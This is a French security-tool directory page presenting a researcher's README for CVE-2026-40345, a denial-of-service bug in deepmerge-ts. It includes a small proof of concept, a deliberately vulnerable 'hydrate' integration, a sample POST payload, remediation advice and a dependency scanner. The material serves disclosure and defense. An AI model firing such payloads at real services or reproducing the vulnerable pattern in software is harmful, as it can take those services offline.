Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40345 — Reproduit un déni de service par épuisement de la pile dans deepmerge-ts avant la version 8.0.0, documente l'exploitation et inclut un scanneur de plages de dépendances vulnérables. | Kitploit
Outils/GitHubGitHub/jvr2022/cve-2026-40345
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebSécurité de la Chaîne Logistique
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

Reproduit un déni de service par épuisement de la pile dans deepmerge-ts avant la version 8.0.0, documente l'exploitation et inclut un scanneur de plages de dépendances vulnérables.

Voir le dépôt
1il y a 2 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

deepmerge-ts < 8.0.0 : déni de service par graphe d'objets récursif

J'ai reproduit un bug d'épuisement de la pile dans les versions de deepmerge-ts antérieures à 8.0.0.

La partie intéressante est que le plantage ne nécessite pas un objet imbriqué énorme. Il provient de l'identité des objets. Si les deux valeurs fusionnées pointent vers elles-mêmes via la même propriété, la routine de fusion continue de visiter la même paire jusqu'à ce que Node.js manque d'espace de pile.

Avis de sécurité : GHSA-ggr8-5vv4-36mx CVE : CVE-2026-40345 CWE : CWE-674 Gravité : Élevée Impact : Disponibilité

Pourquoi cela se démarque

La plupart des tests de fusion utilisent des données JSON classiques :

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

Ces données sont acycliques. Les objets JavaScript peuvent également contenir des références à eux-mêmes ou à un autre objet du même graphe. Ces cas sont faciles à manquer si la suite de tests n'utilise que des fixtures JSON.

Le plus petit graphe en échec est constitué de deux objets distincts avec la même auto-référence :

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

Ce qui se passe en interne

La fusion d'enregistrements parcourt les clés énumérables, collecte les valeurs de chaque clé et rappelle la routine de fusion pour ces valeurs. Il n'y a ni vérification de cycle ni suivi d'une paire d'objets déjà rencontrée dans les versions affectées.

La clé self renvoie l'exécution dans le même état :

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

Le même comportement est accessible via deepmergeInto, deepmergeCustom et deepmergeIntoCustom lorsqu'elles reçoivent le même type de graphe.

Reproduction locale

Le paquet est épinglé à la version affectée 7.1.6 dans package.json.

root@kitploit:~
npm install
npm run poc

Le test complet se trouve dans poc.mjs. Il exécute les deux API publiques localement et intercepte la RangeError attendue afin que le résultat soit facile à lire.

La partie importante du PoC est :

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

Sortie attendue :

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

Le PoC renvoie un succès lorsque le comportement affecté est observé. Si le paquet est mis à niveau et que les deux appels aboutissent, il affiche un résultat propre et se termine avec le statut 1 car le problème n'a pas été reproduit.

Comment cela peut être exploité

Il n'existe pas de payload JSON cyclique magique. Un analyseur JSON normal crée un graphe acyclique, ce n'est donc pas déclenché en envoyant simplement un corps JSON très profond à :

root@kitploit:~
deepmerge(defaults, req.body);

L'application doit créer ou préserver le cycle avant d'appeler la fonction de fusion. Cela peut se produire dans du code d'hydratation de graphe, un désérialiseur préservant les références, la réutilisation d'objets de cache ou de session, ou une logique personnalisée qui relie des enregistrements entre eux.

Voici un petit exemple d'intégration vulnérable. La fonction hydrate transforme un indicateur contrôlé par l'utilisateur en auto-référence :

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

Si une route HTTP appelle mergeRequest, un attaquant peut envoyer :

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

Les deux côtés contiennent désormais une référence self. Lorsque la route appelle deepmerge(left, right), la bibliothèque suit left.self et right.self, reçoit à nouveau la même paire et effectue une récursion jusqu'à ce que V8 lève une exception.

Une application n'est pas obligée d'utiliser cette fonction hydrate exacte. Les conditions importantes sont :

  1. Des données contrôlées par l'attaquant peuvent influencer un graphe d'objets récursif.
  2. Les deux entrées de fusion contiennent un cycle au même chemin de propriété.
  3. Le graphe atteint l'une des API de fusion affectées.

Si la route est publique et que l'exception n'est pas interceptée, une seule requête peut arrêter le worker Node.js. Si un superviseur de processus le redémarre automatiquement, des requêtes répétées peuvent maintenir le service dans une boucle de redémarrage. Si une authentification est requise, l'attaquant doit toujours avoir accès à cette route.

C'est un problème de déni de service. Le bug ne permet ni l'exécution de code, ni l'accès aux fichiers, ni la lecture des entrées de fusion d'une autre requête.

Pourquoi JSON seul ne suffit pas

Cette distinction compte lors de l'évaluation d'une application réelle. Le corps de requête suivant n'est pas lui-même un cycle :

root@kitploit:~
{
  "self": true
}

Il ne devient pertinent que si le code de l'application interprète self: true comme une référence à l'objet racine, ou si un autre analyseur restaure les références d'objets. Le paquet devrait quand même gérer le graphe résultant en toute sécurité, mais l'exploitabilité à distance dépend du code autour du paquet.

Impact

L'impact direct est la disponibilité via l'épuisement synchrone de la pile.

Selon l'application environnante, le résultat peut être :

  • une requête qui échoue avec une RangeError
  • une exception non interceptée qui termine un processus worker
  • des redémarrages répétés du worker sous un gestionnaire de processus
  • une file de requêtes qui s'accumule pendant les redémarrages des workers
  • un service qui devient indisponible lorsque la route peut être atteinte de manière répétée

Il n'y a pas d'impact sur la confidentialité ou l'intégrité dans ce problème en soi. La gravité augmente lorsque la route de fusion est non authentifiée, accessible depuis l'internet public, ou automatiquement relancée par un autre service.

Détection

J'ai ajouté scanner.mjs pour trouver les références de dépendances affectées avant d'exécuter le PoC de plantage. Il vérifie :

  • les plages de dépendances dans package.json
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

Exécutez-le sur un répertoire de projet :

root@kitploit:~
node scanner.mjs /path/to/project

Pour CI ou d'autres outils, utilisez la sortie JSON :

root@kitploit:~
node scanner.mjs /path/to/project --json

Exemple de résultat pour ce dépôt :

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

Le scanner se termine avec le statut 1 lorsqu'il trouve une version ou une plage affectée. Les URLs Git et autres sources non-semver sont marquées REVIEW au lieu d'être silencieusement considérées comme sûres.

Remédiation

Le correctif direct consiste à mettre à niveau vers deepmerge-ts >= 8.0.0 et à rafraîchir le lockfile.

root@kitploit:~
npm install deepmerge-ts@^8.0.0

L'application doit également décider comment gérer les entrées récursives. Les options raisonnables sont :

  • rejeter les cycles à la frontière d'entrée
  • suivre les paires d'objets déjà visitées pendant la fusion
  • plafonner la profondeur de fusion et échouer avec une erreur contrôlée
  • intercepter les erreurs de fusion à la frontière de la requête
  • surveiller les sorties de worker et les boucles de redémarrage

Intercepter l'erreur est utile pour la stabilité du processus, mais cela ne supprime pas le déni de service sous-jacent si un attaquant peut répéter la requête. La mise à niveau de la dépendance et la gestion des entrées récursives sont les correctifs importants.

Vérification de la version corrigée

Remplacez la dépendance par 8.0.1, réinstallez et exécutez le même PoC :

root@kitploit:~
npm install [email protected]
npm run poc

Sur la version corrigée, les deux appels aboutissent et le script affiche :

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

Références

  • Avis de sécurité GitHub
  • CVE-2026-40345
  • deepmerge-ts sur npm
  • CWE-674 : Récursion incontrôlée

Licence

Le PoC et le scanner de ce dépôt sont publiés sous la licence MIT.

Télécharger l’outil